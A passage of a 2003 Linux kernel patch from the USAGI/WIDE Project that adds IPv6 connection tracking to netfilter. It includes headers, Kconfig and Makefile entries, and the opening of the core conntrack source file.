_IP6_CONNTRACK_FTP_H +#define _IP6_CONNTRACK_FTP_H +/* FTP tracking. */ + +#ifdef __KERNEL__ + +#include + +/* Protects ftp part of conntracks */ +DECLARE_LOCK_EXTERN(ip6_ftp_lock); + +#define FTP_PORT 21 + +#endif /* __KERNEL__ */ + +enum ip6_ct_ftp_type +{ + /* EPRT command from client */ + IP6_CT_FTP_EPRT, + /* EPSV response from server */ + IP6_CT_FTP_EPSV, +}; + +/* This structure is per expected connection */ +struct ip6_ct_ftp_expect +{ + /* We record seq number and length of ftp ip/port text here: all in + * host order. */ + + /* sequence number of IP address in packet is in ip_conntrack_expect */ + u_int32_t len; /* length of IPv6 address */ + enum ip6_ct_ftp_type ftptype; /* EPRT or EPSV ? */ + u_int16_t port; /* Port that was to be used */ +}; + +/* This structure exists only once per master */ +struct ip6_ct_ftp_master { + /* Next valid seq position for cmd matching after newline */ + u_int32_t seq_aft_nl[IP6_CT_DIR_MAX]; + /* 0 means seq_match_aft_nl not set */ + int seq_aft_nl_set[IP6_CT_DIR_MAX]; +}; + +#endif /* _IP6_CONNTRACK_FTP_H */ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_helper.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_helper.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_helper.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_helper.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,57 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_helper.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +/* IP6 connection tracking helpers. */ +#ifndef _IP6_CONNTRACK_HELPER_H +#define _IP6_CONNTRACK_HELPER_H +#include + +struct module; + +/* Reuse expectation when max_expected reached */ +#define IP6_CT_HELPER_F_REUSE_EXPECT 0x01 + +struct ip6_conntrack_helper +{ + struct list_head list; /* Internal use. */ + + const char *name; /* name of the module */ + unsigned char flags; /* Flags (see above) */ + struct module *me; /* pointer to self */ + unsigned int max_expected; /* Maximum number of concurrent + * expected connections */ + unsigned int timeout; /* timeout for expecteds */ + + /* Mask of things we will help (compared against server response) */ + struct ip6_conntrack_tuple tuple; + struct ip6_conntrack_tuple mask; + + /* Function to call when data passes; return verdict, or -1 to + invalidate. */ + int (*help)(const struct sk_buff *skb, + unsigned int protoff, + struct ip6_conntrack *ct, + enum ip6_conntrack_info conntrackinfo); +}; + +extern int ip6_conntrack_helper_register(struct ip6_conntrack_helper *); +extern void ip6_conntrack_helper_unregister(struct ip6_conntrack_helper *); + +extern struct ip6_conntrack_helper *ip6_ct_find_helper(const struct ip6_conntrack_tuple *tuple); + +/* Add an expected connection: can have more than one per connection */ +extern int ip6_conntrack_expect_related(struct ip6_conntrack *related_to, + struct ip6_conntrack_expect *exp); +extern void ip6_conntrack_unexpect_related(struct ip6_conntrack_expect *exp); + +#endif /*_IP6_CONNTRACK_HELPER_H*/ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_icmpv6.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_icmpv6.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_icmpv6.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_icmpv6.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,24 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_icmp.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6_CONNTRACK_ICMPV6_H +#define _IP6_CONNTRACK_ICMPV6_H +/* ICMPv6 tracking. */ +#include + +struct ip6_ct_icmpv6 +{ + /* Optimization: when number in == number out, forget immediately. */ + atomic_t count; +}; +#endif /* _IP6_CONNTRACK_ICMPv6_H */ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_protocol.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_protocol.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_protocol.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_protocol.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,83 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_protocol.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +/* Header for use in defining a given protocol for connection tracking. */ +#ifndef _IP6_CONNTRACK_PROTOCOL_H +#define _IP6_CONNTRACK_PROTOCOL_H +#include +#include + +struct ip6_conntrack_protocol +{ + /* Next pointer. */ + struct list_head list; + + /* Protocol number. */ + u_int8_t proto; + + /* Protocol name */ + const char *name; + + /* Try to fill in the third arg: dataoff is offset past IPv6 + hdr and IPv6 ext hdrs. Return true if possible. */ + int (*pkt_to_tuple)(const struct sk_buff *skb, + unsigned int dataoff, + struct ip6_conntrack_tuple *tuple); + + /* Invert the per-proto part of the tuple: ie. turn xmit into reply. + * Some packets can't be inverted: return 0 in that case. + */ + int (*invert_tuple)(struct ip6_conntrack_tuple *inverse, + const struct ip6_conntrack_tuple *orig); + + /* Print out the per-protocol part of the tuple. */ + unsigned int (*print_tuple)(char *buffer, + const struct ip6_conntrack_tuple *); + + /* Print out the private part of the conntrack. */ + unsigned int (*print_conntrack)(char *buffer, + const struct ip6_conntrack *); + + /* Returns verdict for packet, or -1 for invalid. */ + int (*packet)(struct ip6_conntrack *conntrack, + const struct sk_buff *skb, + unsigned int dataoff, + enum ip6_conntrack_info ctinfo); + + /* Called when a new connection for this protocol found; + * returns TRUE if it's OK. If so, packet() called next. */ + int (*new)(struct ip6_conntrack *conntrack, const struct sk_buff *skb, + unsigned int dataoff); + + /* Called when a conntrack entry is destroyed */ + void (*destroy)(struct ip6_conntrack *conntrack); + + /* Has to decide if a expectation matches one packet or not */ + int (*exp_matches_pkt)(struct ip6_conntrack_expect *exp, + const struct sk_buff *skb, + unsigned int dataoff); + + /* Module (if any) which this is connected to. */ + struct module *me; +}; + +/* Protocol registration. */ +extern int ip6_conntrack_protocol_register(struct ip6_conntrack_protocol *proto); +extern void ip6_conntrack_protocol_unregister(struct ip6_conntrack_protocol *proto); + +/* Existing built-in protocols */ +extern struct ip6_conntrack_protocol ip6_conntrack_protocol_tcp; +extern struct ip6_conntrack_protocol ip6_conntrack_protocol_udp; +extern struct ip6_conntrack_protocol ip6_conntrack_protocol_icmpv6; +extern int ip6_conntrack_protocol_tcp_init(void); +#endif /*_IP6_CONNTRACK_PROTOCOL_H*/ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_reasm.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_reasm.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_reasm.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_reasm.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,28 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6_CONNTRACK_REASM_H +#define _IP6_CONNTRACK_REASM_H + +#include +extern struct sk_buff * +ip6_ct_gather_frags(struct sk_buff *skb); + +extern int +ip6_ct_output_frags(struct sk_buff *skb, struct nf_info *info); + +extern int ip6_ct_kfree_frags(struct sk_buff *skb); + +extern int ip6_ct_frags_init(void); +extern void ip6_ct_frags_cleanup(void); + +#endif /* _IP6_CONNTRACK_REASM_H */ + diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_tcp.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_tcp.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_tcp.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_tcp.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,41 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_tcp.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6_CONNTRACK_TCP_H +#define _IP6_CONNTRACK_TCP_H +/* TCP tracking. */ + +enum tcp_conntrack { + TCP_CONNTRACK_NONE, + TCP_CONNTRACK_ESTABLISHED, + TCP_CONNTRACK_SYN_SENT, + TCP_CONNTRACK_SYN_RECV, + TCP_CONNTRACK_FIN_WAIT, + TCP_CONNTRACK_TIME_WAIT, + TCP_CONNTRACK_CLOSE, + TCP_CONNTRACK_CLOSE_WAIT, + TCP_CONNTRACK_LAST_ACK, + TCP_CONNTRACK_LISTEN, + TCP_CONNTRACK_MAX +}; + +struct ip6_ct_tcp +{ + enum tcp_conntrack state; + + /* Poor man's window tracking: sequence number of valid ACK + handshake completion packet */ + u_int32_t handshake_ack; +}; + +#endif /* _IP6_CONNTRACK_TCP_H */ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_tuple.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_tuple.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_tuple.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_tuple.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,131 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_tuple.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6_CONNTRACK_TUPLE_H +#define _IP6_CONNTRACK_TUPLE_H + +#ifdef __KERNEL__ +#include +#include +#endif + +/* A `tuple' is a structure containing the information to uniquely + identify a connection. ie. if two packets have the same tuple, they + are in the same connection; if not, they are not. + + We divide the structure along "manipulatable" and + "non-manipulatable" lines, for the benefit of the NAT code. +*/ + +/* The protocol-specific manipulable parts of the tuple: always in + network order! */ +union ip6_conntrack_manip_proto +{ + /* Add other protocols here. */ + u_int16_t all; + + struct { + u_int16_t port; + } tcp; + struct { + u_int16_t port; + } udp; + struct { + u_int16_t id; + } icmpv6; +}; + +/* The manipulable part of the tuple. */ +struct ip6_conntrack_manip +{ + struct in6_addr ip; + union ip6_conntrack_manip_proto u; +}; + +/* This contains the information to distinguish a connection. */ +struct ip6_conntrack_tuple +{ + struct ip6_conntrack_manip src; + + /* These are the parts of the tuple which are fixed. */ + struct { + struct in6_addr ip; + union { + /* Add other protocols here. */ + u_int16_t all; + + struct { + u_int16_t port; + } tcp; + struct { + u_int16_t port; + } udp; + struct { + u_int8_t type, code; + } icmpv6; + } u; + + /* The protocol. */ + u_int16_t protonum; + } dst; +}; + +enum ip6_conntrack_dir +{ + IP6_CT_DIR_ORIGINAL, + IP6_CT_DIR_REPLY, + IP6_CT_DIR_MAX +}; + +#ifdef __KERNEL__ + +#define DUMP_TUPLE(tp) \ +{ \ + DEBUGP("tuple %p: %u %x:%x:%x:%x:%x:%x:%x:%x, %hu -> %x:%x:%x:%x:%x:%x:%x:%x, %hu\n", \ + (tp), (tp)->dst.protonum, \ + NIP6((tp)->src.ip), ntohs((tp)->src.u.all), \ + NIP6((tp)->dst.ip), ntohs((tp)->dst.u.all)); \ +} + +#define CTINFO2DIR(ctinfo) ((ctinfo) >= IP6_CT_IS_REPLY ? IP6_CT_DIR_REPLY : IP6_CT_DIR_ORIGINAL) + +/* If we're the first tuple, it's the original dir. */ +#define DIRECTION(h) ((enum ip6_conntrack_dir)(&(h)->ctrack->tuplehash[1] == (h))) + +/* Connections have two entries in the hash table: one for each way */ +struct ip6_conntrack_tuple_hash +{ + struct list_head list; + + struct ip6_conntrack_tuple tuple; + + /* this == &ctrack->tuplehash[DIRECTION(this)]. */ + struct ip6_conntrack *ctrack; +}; + +#endif /* __KERNEL__ */ + +extern int ip6_ct_tuple_src_equal(const struct ip6_conntrack_tuple *t1, + const struct ip6_conntrack_tuple *t2); + +extern int ip6_ct_tuple_dst_equal(const struct ip6_conntrack_tuple *t1, + const struct ip6_conntrack_tuple *t2); + +extern int ip6_ct_tuple_equal(const struct ip6_conntrack_tuple *t1, + const struct ip6_conntrack_tuple *t2); + +extern int ip6_ct_tuple_mask_cmp(const struct ip6_conntrack_tuple *t, + const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *mask); + +#endif /* _IP6_CONNTRACK_TUPLE_H */ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6t_state.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6t_state.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6t_state.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6t_state.h 2003-09-24 11:36:48.000000000 +0900 @@ -0,0 +1,24 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ipt_state.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6T_STATE_H +#define _IP6T_STATE_H + +#define IP6T_STATE_BIT(ctinfo) (1 << ((ctinfo)%IP6_CT_IS_REPLY+1)) +#define IP6T_STATE_INVALID (1 << 0) + +struct ip6t_state_info +{ + unsigned int statemask; +}; +#endif /*_IP6T_STATE_H*/ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6.h 2003-09-09 04:50:22.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6.h 2003-09-24 11:36:04.000000000 +0900 @@ -53,6 +53,7 @@ #define NF_IP6_POST_ROUTING 4 #define NF_IP6_NUMHOOKS 5 +#define SO_ORIGINAL_DST 80 enum nf_ip6_hook_priorities { NF_IP6_PRI_FIRST = INT_MIN, diff -Nur linux-2.6.0-test5/net/core/netfilter.c linux-2.6.0-test5-ct6/net/core/netfilter.c --- linux-2.6.0-test5/net/core/netfilter.c 2003-09-09 04:50:03.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/core/netfilter.c 2003-09-24 11:34:52.000000000 +0900 @@ -749,6 +749,9 @@ and hence manufactured ICMP or RST packets will not be associated with it. */ void (*ip_ct_attach)(struct sk_buff *, struct nf_ct_info *); +#ifdef CONFIG_IPV6 +void (*ip6_ct_attach)(struct sk_buff *, struct nf_ct_info *); +#endif void __init netfilter_init(void) { diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/Kconfig linux-2.6.0-test5-ct6/net/ipv6/netfilter/Kconfig --- linux-2.6.0-test5/net/ipv6/netfilter/Kconfig 2003-09-09 04:50:22.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/Kconfig 2003-09-24 11:32:03.000000000 +0900 @@ -5,6 +5,16 @@ menu "IPv6: Netfilter Configuration" depends on INET && IPV6!=n && NETFILTER +config IP6_NF_FTP + tristate "FTP protocol support" + depends on IP6_NF_CONNTRACK + help + Tracking FTP connections is problematic: special helpers are + required for tracking them. + + If you want to compile it as a module, say M here and read + . If unsure, say `Y'. + #tristate 'Connection tracking (required for masq/NAT)' CONFIG_IP6_NF_CONNTRACK #if [ "$CONFIG_IP6_NF_CONNTRACK" != "n" ]; then # dep_tristate ' FTP protocol support' CONFIG_IP6_NF_FTP $CONFIG_IP6_NF_CONNTRACK @@ -173,6 +183,31 @@ If you want to compile it as a module, say M here and read Documentation/modules.txt. If unsure, say `N'. +config IP6_NF_CONNTRACK + tristate "Connection tracking (EXPERIMENTAL)" + ---help--- + Connection tracking keeps a record of what packets have passed + through your machine, in order to figure out how they are related + into connections. + + It can also be used to enhance packet filtering + (see `Connection state match support' + below). + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +config IP6_NF_MATCH_STATE + tristate "Connection state match support" + depends on IP6_NF_CONNTRACK && IP6_NF_IPTABLES + help + Connection state matching allows you to match packets based on their + relationship to a tracked connection (ie. previous packets). This + is a powerful tool for packet classification. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + # dep_tristate ' Multiple port match support' CONFIG_IP6_NF_MATCH_MULTIPORT $CONFIG_IP6_NF_IPTABLES # dep_tristate ' TOS match support' CONFIG_IP6_NF_MATCH_TOS $CONFIG_IP6_NF_IPTABLES # if [ "$CONFIG_IP6_NF_CONNTRACK" != "n" ]; then diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/Makefile linux-2.6.0-test5-ct6/net/ipv6/netfilter/Makefile --- linux-2.6.0-test5/net/ipv6/netfilter/Makefile 2003-09-09 04:50:07.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/Makefile 2003-09-24 11:31:27.000000000 +0900 @@ -2,6 +2,18 @@ # Makefile for the netfilter modules on top of IPv6. # +# objects for the conntrack +ip6_nf_conntrack-objs := ip6_conntrack_core.o ip6_conntrack_proto_generic.o ip6_conntrack_proto_tcp.o ip6_conntrack_proto_udp.o ip6_conntrack_proto_icmpv6.o ip6_conntrack_reasm.o + +# objects for the standalone - connection tracking +ip6_conntrack-objs := ip6_conntrack_standalone.o $(ip6_nf_conntrack-objs) + +# connection tracking +obj-$(CONFIG_IP6_NF_CONNTRACK) += ip6_conntrack.o + +# connection tracking helpers +obj-$(CONFIG_IP6_NF_FTP) += ip6_conntrack_ftp.o + # Link order matters here. obj-$(CONFIG_IP6_NF_IPTABLES) += ip6_tables.o obj-$(CONFIG_IP6_NF_MATCH_LIMIT) += ip6t_limit.o @@ -22,3 +34,4 @@ obj-$(CONFIG_IP6_NF_QUEUE) += ip6_queue.o obj-$(CONFIG_IP6_NF_TARGET_LOG) += ip6t_LOG.o obj-$(CONFIG_IP6_NF_MATCH_HL) += ip6t_hl.o +obj-$(CONFIG_IP6_NF_MATCH_HL) += ip6t_state.o diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_core.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_core.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_core.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_core.c 2003-09-24 13:01:42.000000000 +0900 @@ -0,0 +1,1614 @@ +/* + * IPv6 Connection Tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_core.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +/* (c) 1999 Paul `Rusty' Russell. Licenced under the GNU General + * Public Licence. + * + * 23 Apr 2001: Harald Welte + * - new API and handling of conntrack/nat helpers + * - now capable of multiple expectations for one master + * 16 Jul 2002: Harald Welte + * - add usage/reference counts to ip_conntrack_expect + * - export ip_conntrack[_expect]_{find_get,put} functions + * */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* This rwlock protects the main hash table, protocol/helper/expected + registrations, conntrack timers*/ +#define ASSERT_READ_LOCK(x) MUST_BE_READ_LOCKED(&ip6_conntrack_lock) +#define ASSERT_WRITE_LOCK(x) MUST_BE_WRITE_LOCKED(&ip6_conntrack_lock) + +#include +#include +#include +#include +#include + +#define IP6_CONNTRACK_VERSION "0.1" + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +DECLARE_RWLOCK(ip6_conntrack_lock); +DECLARE_RWLOCK(ip6_conntrack_expect_tuple_lock); + +void (*ip6_conntrack_destroyed)(struct ip6_conntrack *conntrack) = NULL; +LIST_HEAD(ip6_conntrack_expect_list); +LIST_HEAD(ip6_protocol_list); +static LIST_HEAD(helpers); +unsigned int ip6_conntrack_htable_size = 0; +static int ip6_conntrack_max = 0; +static atomic_t ip6_conntrack_count = ATOMIC_INIT(0); +struct list_head *ip6_conntrack_hash; +static kmem_cache_t *ip6_conntrack_cachep; + +extern struct ip6_conntrack_protocol ip6_conntrack_generic_protocol; + +/* + * Based on ipv6_skip_exthdr() in net/ipv6/exthdr.c + * + * This function parses (probably truncated) exthdr set "hdr" + * of length "len". "nexthdrp" initially points to some place, + * where type of the first header can be found. + * + * It skips all well-known exthdrs, and returns pointer to the start + * of unparsable area i.e. the first header with unknown type. + * if success, *nexthdr is updated by type/protocol of this header. + * + * NOTES: - it may return pointer pointing beyond end of packet, + * if the last recognized header is truncated in the middle. + * - if packet is truncated, so that all parsed headers are skipped, + * it returns -1. + * - First fragment header is skipped, not-first ones + * are considered as unparsable. + * - ESP is unparsable for now and considered like + * normal payload protocol. + * - Note also special handling of AUTH header. Thanks to IPsec wizards. + */ + +static int ip6_ct_skip_exthdr(struct sk_buff *skb, int start, u8 *nexthdrp, + int len) +{ + u8 nexthdr = *nexthdrp; + + while (ipv6_ext_hdr(nexthdr)) { + struct ipv6_opt_hdr hdr; + int hdrlen; + + if (len < (int)sizeof(struct ipv6_opt_hdr)) + return -1; + if (nexthdr == NEXTHDR_NONE) + break; + if (skb_copy_bits(skb, start, &hdr, sizeof(hdr))) + BUG(); + if (nexthdr == NEXTHDR_FRAGMENT) { + struct frag_hdr fhdr; + + if (len < (int)sizeof(struct frag_hdr)) + return -1; + if (skb_copy_bits(skb, start, &fhdr, sizeof(fhdr))) + BUG(); + if (ntohs(fhdr.frag_off) & ~0x7) + return -1; + hdrlen = 8; + } else if (nexthdr == NEXTHDR_AUTH) + hdrlen = (hdr.hdrlen+2)<<2; + else + hdrlen = ipv6_optlen(&hdr); + + nexthdr = hdr.nexthdr; + len -= hdrlen; + start += hdrlen; + } + + *nexthdrp = nexthdr; + return start; +} + +int ip6_ct_tuple_src_equal(const struct ip6_conntrack_tuple *t1, + const struct ip6_conntrack_tuple *t2) +{ + if (ipv6_addr_cmp(&t1->src.ip, &t2->src.ip)) + return 0; + + if (t1->src.u.all != t2->src.u.all) + return 0; + + if (t1->dst.protonum != t2->dst.protonum) + return 0; + + return 1; + +} + +int ip6_ct_tuple_dst_equal(const struct ip6_conntrack_tuple *t1, + const struct ip6_conntrack_tuple *t2) +{ + if (ipv6_addr_cmp(&t1->dst.ip, &t2->dst.ip)) + return 0; + + if (t1->dst.u.all != t2->dst.u.all) + return 0; + + if (t1->dst.protonum != t2->dst.protonum) + return 0; + + return 1; +} + +int ip6_ct_tuple_equal(const struct ip6_conntrack_tuple *t1, + const struct ip6_conntrack_tuple *t2) +{ + return ip6_ct_tuple_src_equal(t1, t2) && ip6_ct_tuple_dst_equal(t1, t2); +} + +int ip6_ct_tuple_mask_cmp(const struct ip6_conntrack_tuple *t, + const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *mask) +{ + int count = 0; + + for (count = 0; count < 8; count++){ + if ((ntohs(t->src.ip.s6_addr16[count]) ^ + ntohs(tuple->src.ip.s6_addr16[count])) & + ntohs(mask->src.ip.s6_addr16[count])) + return 0; + + if ((ntohs(t->dst.ip.s6_addr16[count]) ^ + ntohs(tuple->dst.ip.s6_addr16[count])) & + ntohs(mask->dst.ip.s6_addr16[count])) + return 0; + } + + if ((t->src.u.all ^ tuple->src.u.all) & mask->src.u.all) + return 0; + + if ((t->dst.u.all ^ tuple->dst.u.all) & mask->dst.u.all) + return 0; + + if ((t->dst.protonum ^ tuple->dst.protonum) & mask->dst.protonum) + return 0; + + return 1; +} + +static inline int proto_cmpfn(const struct ip6_conntrack_protocol *curr, + u_int8_t protocol) +{ + return protocol == curr->proto; +} + +struct ip6_conntrack_protocol *__ip6_ct_find_proto(u_int8_t protocol) +{ + struct ip6_conntrack_protocol *p; + + MUST_BE_READ_LOCKED(&ip6_conntrack_lock); + p = LIST_FIND(&ip6_protocol_list, proto_cmpfn, + struct ip6_conntrack_protocol *, protocol); + if (!p) + p = &ip6_conntrack_generic_protocol; + + return p; +} + +struct ip6_conntrack_protocol *ip6_ct_find_proto(u_int8_t protocol) +{ + struct ip6_conntrack_protocol *p; + + READ_LOCK(&ip6_conntrack_lock); + p = __ip6_ct_find_proto(protocol); + READ_UNLOCK(&ip6_conntrack_lock); + return p; +} + +inline void +ip6_conntrack_put(struct ip6_conntrack *ct) +{ + IP6_NF_ASSERT(ct); + IP6_NF_ASSERT(ct->infos[0].master); + /* nf_conntrack_put wants to go via an info struct, so feed it + one at random. */ + nf_conntrack_put(&ct->infos[0]); +} + +static int ip6_conntrack_hash_rnd_initted; +static unsigned int ip6_conntrack_hash_rnd; +static u_int32_t +hash_conntrack(const struct ip6_conntrack_tuple *tuple) +{ + u32 a, b, c; + + a = tuple->src.ip.s6_addr32[0]; + b = tuple->src.ip.s6_addr32[1]; + c = tuple->src.ip.s6_addr32[2]; + + a += JHASH_GOLDEN_RATIO; + b += JHASH_GOLDEN_RATIO; + c += ip6_conntrack_hash_rnd; + __jhash_mix(a, b, c); + + a += tuple->src.ip.s6_addr32[3]; + b += tuple->dst.ip.s6_addr32[0]; + c += tuple->dst.ip.s6_addr32[1]; + __jhash_mix(a, b, c); + + a += tuple->dst.ip.s6_addr32[2]; + b += tuple->dst.ip.s6_addr32[3]; + c += tuple->src.u.all | (tuple->dst.u.all << 16); + __jhash_mix(a, b, c); + + a += tuple->dst.protonum; + __jhash_mix(a, b, c); + + return c % ip6_conntrack_htable_size; +} + +int +ip6_get_tuple(const struct ipv6hdr *ipv6h, + const struct sk_buff *skb, + unsigned int dataoff, + u_int8_t protonum, + struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_protocol *protocol) +{ + /* Should I check that this packet is'nt fragmented + like IPv4 conntrack? - kozakai */ + + ipv6_addr_copy(&tuple->src.ip, &ipv6h->saddr); + ipv6_addr_copy(&tuple->dst.ip, &ipv6h->daddr); + + tuple->dst.protonum = protonum; + + return protocol->pkt_to_tuple(skb, dataoff, tuple); +} + +static int +invert_tuple(struct ip6_conntrack_tuple *inverse, + const struct ip6_conntrack_tuple *orig, + const struct ip6_conntrack_protocol *protocol) +{ + ipv6_addr_copy(&inverse->src.ip, &orig->dst.ip); + ipv6_addr_copy(&inverse->dst.ip, &orig->src.ip); + inverse->dst.protonum = orig->dst.protonum; + + return protocol->invert_tuple(inverse, orig); +} + + +/* ip6_conntrack_expect helper functions */ + +/* Compare tuple parts depending on mask. */ +static inline int expect_cmp(const struct ip6_conntrack_expect *i, + const struct ip6_conntrack_tuple *tuple) +{ + MUST_BE_READ_LOCKED(&ip6_conntrack_expect_tuple_lock); + return ip6_ct_tuple_mask_cmp(tuple, &i->tuple, &i->mask); +} + +static void +destroy_expect(struct ip6_conntrack_expect *exp) +{ + DEBUGP("destroy_expect(%p) use=%d\n", exp, atomic_read(&exp->use)); + IP6_NF_ASSERT(atomic_read(&exp->use)); + IP6_NF_ASSERT(!timer_pending(&exp->timeout)); + + kfree(exp); +} + + +inline void ip6_conntrack_expect_put(struct ip6_conntrack_expect *exp) +{ + IP6_NF_ASSERT(exp); + + if (atomic_dec_and_test(&exp->use)) { + /* usage count dropped to zero */ + destroy_expect(exp); + } +} + +static inline struct ip6_conntrack_expect * +__ip6_ct_expect_find(const struct ip6_conntrack_tuple *tuple) +{ + MUST_BE_READ_LOCKED(&ip6_conntrack_lock); + MUST_BE_READ_LOCKED(&ip6_conntrack_expect_tuple_lock); + return LIST_FIND(&ip6_conntrack_expect_list, expect_cmp, + struct ip6_conntrack_expect *, tuple); +} + +/* Find a expectation corresponding to a tuple. */ +struct ip6_conntrack_expect * +ip6_conntrack_expect_find_get(const struct ip6_conntrack_tuple *tuple) +{ + struct ip6_conntrack_expect *exp; + + READ_LOCK(&ip6_conntrack_lock); + READ_LOCK(&ip6_conntrack_expect_tuple_lock); + exp = __ip6_ct_expect_find(tuple); + if (exp) + atomic_inc(&exp->use); + READ_UNLOCK(&ip6_conntrack_expect_tuple_lock); + READ_UNLOCK(&ip6_conntrack_lock); + + return exp; +} + +/* remove one specific expectation from all lists and drop refcount, + * does _NOT_ delete the timer. */ +static void __unexpect_related(struct ip6_conntrack_expect *expect) +{ + DEBUGP("unexpect_related(%p)\n", expect); + 